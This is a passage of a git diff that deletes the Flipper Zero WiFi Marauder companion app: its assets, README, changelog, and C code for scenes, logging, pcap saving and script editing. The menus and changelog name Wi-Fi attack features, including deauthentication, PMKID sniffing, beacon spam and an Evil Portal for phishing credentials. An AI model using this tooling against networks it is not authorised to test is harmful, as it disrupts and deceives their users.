b/applications/external/wifi_marauder_companion/assets/KeyKeyboard_10x11.png deleted file mode 100644 index 1f4c03478..000000000 Binary files a/applications/external/wifi_marauder_companion/assets/KeyKeyboard_10x11.png and /dev/null differ diff --git a/applications/external/wifi_marauder_companion/assets/KeySaveSelected_24x11.png b/applications/external/wifi_marauder_companion/assets/KeySaveSelected_24x11.png deleted file mode 100644 index eeb3569d3..000000000 Binary files a/applications/external/wifi_marauder_companion/assets/KeySaveSelected_24x11.png and /dev/null differ diff --git a/applications/external/wifi_marauder_companion/assets/KeySave_24x11.png b/applications/external/wifi_marauder_companion/assets/KeySave_24x11.png deleted file mode 100644 index e7dba987a..000000000 Binary files a/applications/external/wifi_marauder_companion/assets/KeySave_24x11.png and /dev/null differ diff --git a/applications/external/wifi_marauder_companion/assets/Text_10x10.png b/applications/external/wifi_marauder_companion/assets/Text_10x10.png deleted file mode 100644 index 8e8a6183d..000000000 Binary files a/applications/external/wifi_marauder_companion/assets/Text_10x10.png and /dev/null differ diff --git a/applications/external/wifi_marauder_companion/assets/WarningDolphin_45x42.png b/applications/external/wifi_marauder_companion/assets/WarningDolphin_45x42.png deleted file mode 100644 index d766ffbb4..000000000 Binary files a/applications/external/wifi_marauder_companion/assets/WarningDolphin_45x42.png and /dev/null differ diff --git a/applications/external/wifi_marauder_companion/docs/README.md b/applications/external/wifi_marauder_companion/docs/README.md deleted file mode 100644 index 40b7a5ad0..000000000 --- a/applications/external/wifi_marauder_companion/docs/README.md +++ /dev/null @@ -1,9 +0,0 @@ -## WiFi Marauder companion app for Flipper Zero - -Requires a connected dev board running Marauder FW. See install instructions from UberGuidoZ here: https://github.com/UberGuidoZ/Flipper/tree/main/Wifi_DevBoard#marauder-install-information - -## Support - -For app feedback, bugs, and feature requests, please create an issue here: https://github.com/0xchocolate/flipperzero-wifi-marauder/issues - -You can find me (0xchocolate) on discord as @cococode. diff --git a/applications/external/wifi_marauder_companion/docs/changelog.md b/applications/external/wifi_marauder_companion/docs/changelog.md deleted file mode 100644 index 207478f71..000000000 --- a/applications/external/wifi_marauder_companion/docs/changelog.md +++ /dev/null @@ -1,12 +0,0 @@ -## v0.6.0 - -Evil Portal and LED control! Thanks @justcallmekoko for adding the commands! See Evil Portal workflow here: https://github.com/justcallmekoko/ESP32Marauder/wiki/evil-portal-workflow - -This version also removes the in-app ESP flasher, but don't worry! It's grown up into its own app, where development will continue separately: https://github.com/0xchocolate/flipperzero-esp-flasher - - -## v0.4.0 - -Added Signal Monitor (thanks @justcallmekoko!) to support new sigmon command in Marauder v0.10.5: https://github.com/justcallmekoko/ESP32Marauder/releases - -Added keyboard and +5V support from unleashed (thanks @xMasterX!) diff --git a/applications/external/wifi_marauder_companion/file/sequential_file.c b/applications/external/wifi_marauder_companion/file/sequential_file.c deleted file mode 100644 index d780deb12..000000000 --- a/applications/external/wifi_marauder_companion/file/sequential_file.c +++ /dev/null @@ -1,46 +0,0 @@ -#include "sequential_file.h" - -char* sequential_file_resolve_path( - Storage* storage, - const char* dir, - const char* prefix, - const char* extension) { - if(storage == NULL || dir == NULL || prefix == NULL || extension == NULL) { - return NULL; - } - - char file_path[256]; - int file_index = 0; - - do { - if(snprintf( - file_path, sizeof(file_path), "%s/%s_%d.%s", dir, prefix, file_index, extension) < - 0) { - return NULL; - } - file_index++; - } while(storage_file_exists(storage, file_path)); - - return strdup(file_path); -} - -bool sequential_file_open( - Storage* storage, - File* file, - const char* dir, - const char* prefix, - const char* extension) { - if(storage == NULL || file == NULL || dir == NULL || prefix == NULL || extension == NULL) { - return false; - } - - char* file_path = sequential_file_resolve_path(storage, dir, prefix, extension); - if(file_path == NULL) { - return false; - } - - bool success = storage_file_open(file, file_path, FSAM_WRITE, FSOM_CREATE_ALWAYS); - free(file_path); - - return success; -} \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/file/sequential_file.h b/applications/external/wifi_marauder_companion/file/sequential_file.h deleted file mode 100644 index 4fd4794c2..000000000 --- a/applications/external/wifi_marauder_companion/file/sequential_file.h +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once - -#include - -char* sequential_file_resolve_path( - Storage* storage, - const char* dir, - const char* prefix, - const char* extension); -bool sequential_file_open( - Storage* storage, - File* file, - const char* dir, - const char* prefix, - const char* extension); \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene.c deleted file mode 100644 index b992cb10a..000000000 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "wifi_marauder_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const wifi_marauder_scene_on_enter_handlers[])(void*) = { -#include "wifi_marauder_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const wifi_marauder_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "wifi_marauder_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const wifi_marauder_scene_on_exit_handlers[])(void* context) = { -#include "wifi_marauder_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers wifi_marauder_scene_handlers = { - .on_enter_handlers = wifi_marauder_scene_on_enter_handlers, - .on_event_handlers = wifi_marauder_scene_on_event_handlers, - .on_exit_handlers = wifi_marauder_scene_on_exit_handlers, - .scene_num = WifiMarauderSceneNum, -}; diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene.h b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene.h deleted file mode 100644 index 739e30d07..000000000 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) WifiMarauderScene##id, -typedef enum { -#include "wifi_marauder_scene_config.h" - WifiMarauderSceneNum, -} WifiMarauderScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers wifi_marauder_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "wifi_marauder_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "wifi_marauder_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "wifi_marauder_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h deleted file mode 100644 index d223af79a..000000000 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h +++ /dev/null @@ -1,15 +0,0 @@ -ADD_SCENE(wifi_marauder, start, Start) -ADD_SCENE(wifi_marauder, console_output, ConsoleOutput) -ADD_SCENE(wifi_marauder, text_input, TextInput) -ADD_SCENE(wifi_marauder, settings_init, SettingsInit) -ADD_SCENE(wifi_marauder, log_viewer, LogViewer) -ADD_SCENE(wifi_marauder, user_input, UserInput) -ADD_SCENE(wifi_marauder, script_select, ScriptSelect) -ADD_SCENE(wifi_marauder, script_options, ScriptOptions) -ADD_SCENE(wifi_marauder, script_edit, ScriptEdit) -ADD_SCENE(wifi_marauder, script_settings, ScriptSettings) -ADD_SCENE(wifi_marauder, script_confirm_delete, ScriptConfirmDelete) -ADD_SCENE(wifi_marauder, script_stage_edit, ScriptStageEdit) -ADD_SCENE(wifi_marauder, script_stage_add, ScriptStageAdd) -ADD_SCENE(wifi_marauder, script_stage_edit_list, ScriptStageEditList) -ADD_SCENE(wifi_marauder, sniffpmkid_options, SniffPmkidOptions) diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c deleted file mode 100644 index 05d94fe80..000000000 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c +++ /dev/null @@ -1,202 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -char* _wifi_marauder_get_prefix_from_cmd(const char* command) { - int end = strcspn(command, " "); - char* prefix = (char*)malloc(sizeof(char) * (end + 1)); - strncpy(prefix, command, end); - prefix[end] = '\0'; - return prefix; -} - -bool _wifi_marauder_is_save_pcaps_enabled(WifiMarauderApp* app) { - if(!app->ok_to_save_pcaps) { - return false; - } - // If it is a script that contains a sniff function - if(app->script != NULL) { - return wifi_marauder_script_has_stage(app->script, WifiMarauderScriptStageTypeSniffRaw) || - wifi_marauder_script_has_stage( - app->script, WifiMarauderScriptStageTypeSniffBeacon) || - wifi_marauder_script_has_stage( - app->script, WifiMarauderScriptStageTypeSniffDeauth) || - wifi_marauder_script_has_stage(app->script, WifiMarauderScriptStageTypeSniffEsp) || - wifi_marauder_script_has_stage( - app->script, WifiMarauderScriptStageTypeSniffPmkid) || - wifi_marauder_script_has_stage(app->script, WifiMarauderScriptStageTypeSniffPwn); - } - // If it is a sniff function - return app->is_command && app->selected_tx_string && - strncmp("sniff", app->selected_tx_string, strlen("sniff")) == 0; -} - -void wifi_marauder_console_output_handle_rx_data_cb(uint8_t* buf, size_t len, void* context) { - furi_assert(context); - WifiMarauderApp* app = context; - - if(app->is_writing_log) { - app->has_saved_logs_this_session = true; - storage_file_write(app->log_file, buf, len); - } - - // If text box store gets too big, then truncate it - app->text_box_store_strlen += len; - if(app->text_box_store_strlen >= WIFI_MARAUDER_TEXT_BOX_STORE_SIZE - 1) { - furi_string_right(app->text_box_store, app->text_box_store_strlen / 2); - app->text_box_store_strlen = furi_string_size(app->text_box_store) + len; - } - - // Null-terminate buf and append to text box store - buf[len] = '\0'; - furi_string_cat_printf(app->text_box_store, "%s", buf); - view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventRefreshConsoleOutput); -} - -void wifi_marauder_console_output_handle_rx_packets_cb(uint8_t* buf, size_t len, void* context) { - furi_assert(context); - WifiMarauderApp* app = context; - - if(app->is_writing_pcap) { - storage_file_write(app->capture_file, buf, len); - } -} - -void wifi_marauder_scene_console_output_on_enter(void* context) { - WifiMarauderApp* app = context; - - // Reset text box and set font - TextBox* text_box = app->text_box; - text_box_reset(text_box); - text_box_set_font(text_box, TextBoxFontText); - - // Set focus on start or end - if(app->focus_console_start) { - text_box_set_focus(text_box, TextBoxFocusStart); - } else { - text_box_set_focus(text_box, TextBoxFocusEnd); - } - - // Set command-related messages - if(app->is_command) { - furi_string_reset(app->text_box_store); - app->text_box_store_strlen = 0; - // Help message - if(0 == strncmp("help", app->selected_tx_string, strlen("help"))) { - const char* help_msg = "Marauder companion " WIFI_MARAUDER_APP_VERSION "\n"; - furi_string_cat_str(app->text_box_store, help_msg); - app->text_box_store_strlen += strlen(help_msg); - } - // Stopscan message - if(app->show_stopscan_tip) { - const char* help_msg = "Press BACK to send stopscan\n"; - furi_string_cat_str(app->text_box_store, help_msg); - app->text_box_store_strlen += strlen(help_msg); - } - } - - // Set starting text - text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store)); - - // Set scene state and switch view - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneConsoleOutput, 0); - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewConsoleOutput); - - // Register callbacks to receive data - wifi_marauder_uart_set_handle_rx_data_cb( - app->uart, - wifi_marauder_console_output_handle_rx_data_cb); // setup callback for general log rx thread - wifi_marauder_uart_set_handle_rx_data_cb( - app->lp_uart, - wifi_marauder_console_output_handle_rx_packets_cb); // setup callback for packets rx thread - - // Get ready to send command - if((app->is_command && app->selected_tx_string) || app->script) { - const char* prefix = - strlen(app->selected_tx_string) > 0 ? - _wifi_marauder_get_prefix_from_cmd(app->selected_tx_string) : // Function name - app->script->name; // Script name - - // Create files *before* sending command - // (it takes time to iterate through the directory) - if(app->ok_to_save_logs) { - strcpy( - app->log_file_path, - sequential_file_resolve_path( - app->storage, MARAUDER_APP_FOLDER_LOGS, prefix, "log")); - if(app->log_file_path != NULL) { - if(storage_file_open( - app->log_file, app->log_file_path, FSAM_WRITE, FSOM_CREATE_ALWAYS)) { - app->is_writing_log = true; - } else { - dialog_message_show_storage_error(app->dialogs, "Cannot open log file"); - } - } else { - dialog_message_show_storage_error(app->dialogs, "Cannot resolve log path"); - } - } - - // If it is a sniff function or script, open the pcap file for recording - if(_wifi_marauder_is_save_pcaps_enabled(app)) { - if(sequential_file_open( - app->storage, app->capture_file, MARAUDER_APP_FOLDER_PCAPS, prefix, "pcap")) { - app->is_writing_pcap = true; - } else { - dialog_message_show_storage_error(app->dialogs, "Cannot open pcap file"); - } - } - - // Send command with newline '\n' - if(app->selected_tx_string) { - wifi_marauder_uart_tx( - (uint8_t*)(app->selected_tx_string), strlen(app->selected_tx_string)); - wifi_marauder_uart_tx((uint8_t*)("\n"), 1); - } - - // Run the script if the file with the script has been opened - if(app->script != NULL) { - app->script_worker = wifi_marauder_script_worker_alloc(); - wifi_marauder_script_worker_start(app->script_worker, app->script); - } - } -} - -bool wifi_marauder_scene_console_output_on_event(void* context, SceneManagerEvent event) { - WifiMarauderApp* app = context; - - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store)); - consumed = true; - } else if(event.type == SceneManagerEventTypeTick) { - consumed = true; - } - - return consumed; -} - -void wifi_marauder_scene_console_output_on_exit(void* context) { - WifiMarauderApp* app = context; - - // Automatically stop the scan when exiting view - if(app->is_command) { - wifi_marauder_uart_tx((uint8_t*)("stopscan\n"), strlen("stopscan\n")); - furi_delay_ms(50); - } - - // Unregister rx callback - wifi_marauder_uart_set_handle_rx_data_cb(app->uart, NULL); - wifi_marauder_uart_set_handle_rx_data_cb(app->lp_uart, NULL); - - wifi_marauder_script_worker_free(app->script_worker); - app->script_worker = NULL; - - app->is_writing_pcap = false; - if(app->capture_file && storage_file_is_open(app->capture_file)) { - storage_file_close(app->capture_file); - } - - app->is_writing_log = false; - if(app->log_file && storage_file_is_open(app->log_file)) { - storage_file_close(app->log_file); - } -} diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_log_viewer.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_log_viewer.c deleted file mode 100644 index 6edb4a49d..000000000 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_log_viewer.c +++ /dev/null @@ -1,187 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -void wifi_marauder_scene_log_viewer_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - WifiMarauderApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -static void _read_log_page_into_text_store(WifiMarauderApp* app) { - char temp[64 + 1]; - storage_file_seek( - app->log_file, WIFI_MARAUDER_TEXT_BOX_STORE_SIZE * (app->open_log_file_page - 1), true); - furi_string_reset(app->text_box_store); - for(uint16_t i = 0; i < (WIFI_MARAUDER_TEXT_BOX_STORE_SIZE / (sizeof(temp) - 1)); i++) { - uint16_t num_bytes = storage_file_read(app->log_file, temp, sizeof(temp) - 1); - if(num_bytes == 0) { - break; - } - temp[num_bytes] = '\0'; - furi_string_cat_str(app->text_box_store, temp); - } -} - -void wifi_marauder_scene_log_viewer_setup_widget(WifiMarauderApp* app, bool called_from_browse) { - Widget* widget = app->widget; - bool is_open = storage_file_is_open(app->log_file); - bool should_open_log = (app->has_saved_logs_this_session || called_from_browse); - if(is_open) { - _read_log_page_into_text_store(app); - } else if( - should_open_log && - storage_file_open(app->log_file, app->log_file_path, FSAM_READ, FSOM_OPEN_EXISTING)) { - uint64_t filesize = storage_file_size(app->log_file); - app->open_log_file_num_pages = filesize / WIFI_MARAUDER_TEXT_BOX_STORE_SIZE; - int extra_page = (filesize % WIFI_MARAUDER_TEXT_BOX_STORE_SIZE != 0) ? 1 : 0; - app->open_log_file_num_pages = (filesize / WIFI_MARAUDER_TEXT_BOX_STORE_SIZE) + extra_page; - app->open_log_file_page = 1; - _read_log_page_into_text_store(app); - } else { - app->open_log_file_page = 0; - app->open_log_file_num_pages = 0; - } - - widget_reset(widget); - - if(furi_string_empty(app->text_box_store)) { - char help_msg[256]; - snprintf( - help_msg, - sizeof(help_msg), - "The log is empty! :(\nTry sending a command?\n\nSaving pcaps to flipper sdcard: %s\nSaving logs to flipper sdcard: %s", - app->ok_to_save_pcaps ? "ON" : "OFF", - app->ok_to_save_logs ? "ON" : "OFF"); - furi_string_set_str(app->text_box_store, help_msg); - } - - widget_add_text_scroll_element( - widget, 0, 0, 128, 53, furi_string_get_cstr(app->text_box_store)); - - if(1 < app->open_log_file_page && app->open_log_file_page < app->open_log_file_num_pages) { - // hide "Browse" text for middle pages - widget_add_button_element( - widget, GuiButtonTypeCenter, "", wifi_marauder_scene_log_viewer_widget_callback, app); - } else { - // only show "Browse" text on first and last page - widget_add_button_element( - widget, - GuiButtonTypeCenter, - "Browse", - wifi_marauder_scene_log_viewer_widget_callback, - app); - } - - char pagecounter[100]; - snprintf( - pagecounter, - sizeof(pagecounter), - "%d/%d", - app->open_log_file_page, - app->open_log_file_num_pages); - if(app->open_log_file_page > 1) { - if(app->open_log_file_page == app->open_log_file_num_pages) { - // only show left side page-count on last page - widget_add_button_element( - widget, - GuiButtonTypeLeft, - pagecounter, - wifi_marauder_scene_log_viewer_widget_callback, - app); - } else { - widget_add_button_element( - widget, GuiButtonTypeLeft, "", wifi_marauder_scene_log_viewer_widget_callback, app); - } - } - if(app->open_log_file_page < app->open_log_file_num_pages) { - widget_add_button_element( - widget, - GuiButtonTypeRight, - pagecounter, - wifi_marauder_scene_log_viewer_widget_callback, - app); - } -} - -void wifi_marauder_scene_log_viewer_on_enter(void* context) { - WifiMarauderApp* app = context; - - app->open_log_file_page = 0; - app->open_log_file_num_pages = 0; - bool saved_logs_exist = false; - if(!app->has_saved_logs_this_session && furi_string_empty(app->text_box_store)) { - // no commands sent yet this session, find last saved log - if(storage_dir_open(app->log_file, MARAUDER_APP_FOLDER_LOGS)) { - char name[70]; - char lastname[70]; - while(storage_dir_read(app->log_file, NULL, name, sizeof(name))) { - // keep reading directory until last file is reached - strlcpy(lastname, name, sizeof(lastname)); - saved_logs_exist = true; - } - if(saved_logs_exist) { - snprintf( - app->log_file_path, - sizeof(app->log_file_path), - "%s/%s", - MARAUDER_APP_FOLDER_LOGS, - lastname); - } - } - storage_dir_close(app->log_file); - } - - wifi_marauder_scene_log_viewer_setup_widget(app, saved_logs_exist); - - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewWidget); -} - -bool wifi_marauder_scene_log_viewer_on_event(void* context, SceneManagerEvent event) { - WifiMarauderApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeCenter) { - // Browse - FuriString* predefined_filepath = furi_string_alloc_set_str(MARAUDER_APP_FOLDER_LOGS); - FuriString* selected_filepath = furi_string_alloc(); - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options(&browser_options, ".log", &I_Text_10x10); - if(dialog_file_browser_show( - app->dialogs, selected_filepath, predefined_filepath, &browser_options)) { - strncpy( - app->log_file_path, - furi_string_get_cstr(selected_filepath), - sizeof(app->log_file_path)); - if(storage_file_is_open(app->log_file)) { - storage_file_close(app->log_file); - } - wifi_marauder_scene_log_viewer_setup_widget(app, true); - } - furi_string_free(selected_filepath); - furi_string_free(predefined_filepath); - consumed = true; - } else if(event.event == GuiButtonTypeRight) { - // Advance page - ++app->open_log_file_page; - wifi_marauder_scene_log_viewer_setup_widget(app, false); - } else if(event.event == GuiButtonTypeLeft) { - // Previous page - --app->open_log_file_page; - wifi_marauder_scene_log_viewer_setup_widget(app, false); - } - } - - return consumed; -} - -void wifi_marauder_scene_log_viewer_on_exit(void* context) { - WifiMarauderApp* app = context; - widget_reset(app->widget); - if(storage_file_is_open(app->log_file)) { - storage_file_close(app->log_file); - } -} diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_confirm_delete.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_confirm_delete.c deleted file mode 100644 index 8e436fe2b..000000000 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_confirm_delete.c +++ /dev/null @@ -1,83 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -void wifi_marauder_scene_script_confirm_delete_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - WifiMarauderApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -void wifi_marauder_scene_script_confirm_delete_on_enter(void* context) { - WifiMarauderApp* app = context; - - widget_add_button_element( - app->widget, - GuiButtonTypeLeft, - "No", - wifi_marauder_scene_script_confirm_delete_widget_callback, - app); - widget_add_button_element( - app->widget, - GuiButtonTypeRight, - "Yes", - wifi_marauder_scene_script_confirm_delete_widget_callback, - app); - - widget_add_string_element( - app->widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Are you sure?"); - widget_add_text_box_element( - app->widget, - 0, - 12, - 128, - 38, - AlignCenter, - AlignCenter, - "The script will be\npermanently deleted", - false); - - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewWidget); -} - -bool wifi_marauder_scene_script_confirm_delete_on_event(void* context, SceneManagerEvent event) { - WifiMarauderApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - // get which button press: "Yes" or "No" - if(event.event == GuiButtonTypeRight) { - // Yes - if(app->script != NULL) { - char script_path[256]; - snprintf( - script_path, - sizeof(script_path), - "%s/%s.json", - MARAUDER_APP_FOLDER_SCRIPTS, - app->script->name); - storage_simply_remove(app->storage, script_path); - wifi_marauder_script_free(app->script); - app->script = NULL; - - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_text(message, "Deleted!", 88, 32, AlignCenter, AlignCenter); - dialog_message_set_icon(message, &I_DolphinCommon_56x48, 5, 6); - dialog_message_set_buttons(message, NULL, "Ok", NULL); - dialog_message_show(app->dialogs, message); - dialog_message_free(message); - } - } - scene_manager_previous_scene(app->scene_manager); - consumed = true; - } - - return consumed; -} - -void wifi_marauder_scene_script_confirm_delete_on_exit(void* context) { - WifiMarauderApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_edit.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_edit.c deleted file mode 100644 index 697daba4f..000000000 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_edit.c +++ /dev/null @@ -1,125 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -static void wifi_marauder_scene_script_edit_callback(void* context, uint32_t index) { - WifiMarauderApp* app = context; - WifiMarauderScriptStage* current_stage = app->script->first_stage; - uint32_t stage_index = 0; - - while(current_stage != NULL && stage_index < index) { - current_stage = current_stage->next_stage; - stage_index++; - } - app->script_edit_selected_stage = current_stage; - - if(app->script_edit_selected_stage != NULL) { - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptEdit, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneScriptStageEdit); - } -} - -static void wifi_marauder_scene_script_edit_add_callback(void* context, uint32_t index) { - WifiMarauderApp* app = context; - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptEdit, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneScriptStageAdd); -} - -void wifi_marauder_scene_script_edit_on_enter(void* context) { - WifiMarauderApp* app = context; - Submenu* submenu = app->submenu; - WifiMarauderScript* script = app->script; - submenu_set_header(submenu, script->name); - - WifiMarauderScriptStage* current_stage = script->first_stage; - int stage_index = 0; - while(current_stage != NULL) { - switch(current_stage->type) { - case WifiMarauderScriptStageTypeScan: - submenu_add_item( - submenu, "Scan", stage_index, wifi_marauder_scene_script_edit_callback, app); - break; - case WifiMarauderScriptStageTypeSelect: - submenu_add_item( - submenu, "Select", stage_index, wifi_marauder_scene_script_edit_callback, app); - break; - case WifiMarauderScriptStageTypeDeauth: - submenu_add_item( - submenu, "Deauth", stage_index, wifi_marauder_scene_script_edit_callback, app); - break; - case WifiMarauderScriptStageTypeProbe: - submenu_add_item( - submenu, "Probe", stage_index, wifi_marauder_scene_script_edit_callback, app); - break; - case WifiMarauderScriptStageTypeSniffRaw: - submenu_add_item( - submenu, "Sniff raw", stage_index, wifi_marauder_scene_script_edit_callback, app); - break; - case WifiMarauderScriptStageTypeSniffBeacon: - submenu_add_item( - submenu, - "Sniff beacon", - stage_index, - wifi_marauder_scene_script_edit_callback, - app); - break; - case WifiMarauderScriptStageTypeSniffDeauth: - submenu_add_item( - submenu, - "Sniff deauth", - stage_index, - wifi_marauder_scene_script_edit_callback, - app); - break; - case WifiMarauderScriptStageTypeSniffEsp: - submenu_add_item( - submenu, "Sniff esp", stage_index, wifi_marauder_scene_script_edit_callback, app); - break; - case WifiMarauderScriptStageTypeSniffPmkid: - submenu_add_item( - submenu, "Sniff PMKID", stage_index, wifi_marauder_scene_script_edit_callback, app); - break; - case WifiMarauderScriptStageTypeSniffPwn: - submenu_add_item( - submenu, "Sniff pwn", stage_index, wifi_marauder_scene_script_edit_callback, app); - break; - case WifiMarauderScriptStageTypeBeaconList: - submenu_add_item( - submenu, "Beacon list", stage_index, wifi_marauder_scene_script_edit_callback, app); - break; - case WifiMarauderScriptStageTypeBeaconAp: - submenu_add_item( - submenu, "Beacon AP", stage_index, wifi_marauder_scene_script_edit_callback, app); - break; - case WifiMarauderScriptStageTypeExec: - submenu_add_item( - submenu, - "Custom command", - stage_index, - wifi_marauder_scene_script_edit_callback, - app); - break; - case WifiMarauderScriptStageTypeDelay: - submenu_add_item( - submenu, "Delay", stage_index, wifi_marauder_scene_script_edit_callback, app); - break; - } - current_stage = current_stage->next_stage; - stage_index++; - } - - submenu_add_item( - submenu, "[+] ADD STAGE", stage_index++, wifi_marauder_scene_script_edit_add_callback, app); - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneScriptEdit)); - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewSubmenu); -} - -bool wifi_marauder_scene_script_edit_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void wifi_marauder_scene_script_edit_on_exit(void* context) { - WifiMarauderApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_edit_list.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_edit_list.c deleted file mode 100644 index 7a3284caf..000000000 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_edit_list.c +++ /dev/null @@ -1,188 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -static void - wifi_marauder_scene_script_stage_edit_list_add_callback(void* context, uint32_t index) { - WifiMarauderApp* app = context; - - // Creates new item - WifiMarauderScriptStageListItem* new_item = - (WifiMarauderScriptStageListItem*)malloc(sizeof(WifiMarauderScriptStageListItem)); - new_item->value = malloc(64); - new_item->next_item = NULL; - - if(app->script_stage_edit_first_item == NULL) { - app->script_stage_edit_first_item = new_item; - } else { - WifiMarauderScriptStageListItem* last_item = app->script_stage_edit_first_item; - while(last_item->next_item != NULL) { - last_item = last_item->next_item; - } - last_item->next_item = new_item; - } - - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptStageEditList, index); - app->user_input_type = WifiMarauderUserInputTypeString; - app->user_input_string_reference = &new_item->value; - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneUserInput); -} - -static void wifi_marauder_scene_script_stage_edit_list_deallocate_items(WifiMarauderApp* app) { - WifiMarauderScriptStageListItem* current_item = app->script_stage_edit_first_item; - while(current_item != NULL) { - WifiMarauderScriptStageListItem* next_item = current_item->next_item; - free(current_item->value); - free(current_item); - current_item = next_item; - } - app->script_stage_edit_first_item = NULL; -} - -static void wifi_marauder_scene_script_stage_edit_list_save_strings(WifiMarauderApp* app) { - WifiMarauderScriptStageListItem* current_item = app->script_stage_edit_first_item; - int array_size = 0; - - // Calculates the required array size - while(current_item != NULL) { - array_size++; - current_item = current_item->next_item; - } - - // Reallocate the array of strings if necessary - if(*app->script_stage_edit_string_count_reference < array_size) { - *app->script_stage_edit_strings_reference = - realloc(*app->script_stage_edit_strings_reference, array_size * sizeof(char*)); - } - - // Fills the array of strings - current_item = app->script_stage_edit_first_item; - int i = 0; - while(current_item != NULL) { - char* current_str = malloc(strlen(current_item->value) + 1); - strncpy(current_str, current_item->value, strlen(current_item->value) + 1); - (*app->script_stage_edit_strings_reference)[i] = current_str; - current_item = current_item->next_item; - i++; - } - - *app->script_stage_edit_string_count_reference = array_size; -} - -static void wifi_marauder_scene_script_stage_edit_list_save_numbers(WifiMarauderApp* app) { - WifiMarauderScriptStageListItem* current_item = app->script_stage_edit_first_item; - int array_size = 0; - - // Calculates the required array size - while(current_item != NULL) { - array_size++; - current_item = current_item->next_item; - } - - // Reallocate the array of integers if necessary - if(*app->script_stage_edit_number_count_reference < array_size) { - *app->script_stage_edit_numbers_reference = - realloc(*app->script_stage_edit_numbers_reference, array_size * sizeof(int)); - } - - // Fills the array of integers - current_item = app->script_stage_edit_first_item; - int i = 0; - while(current_item != 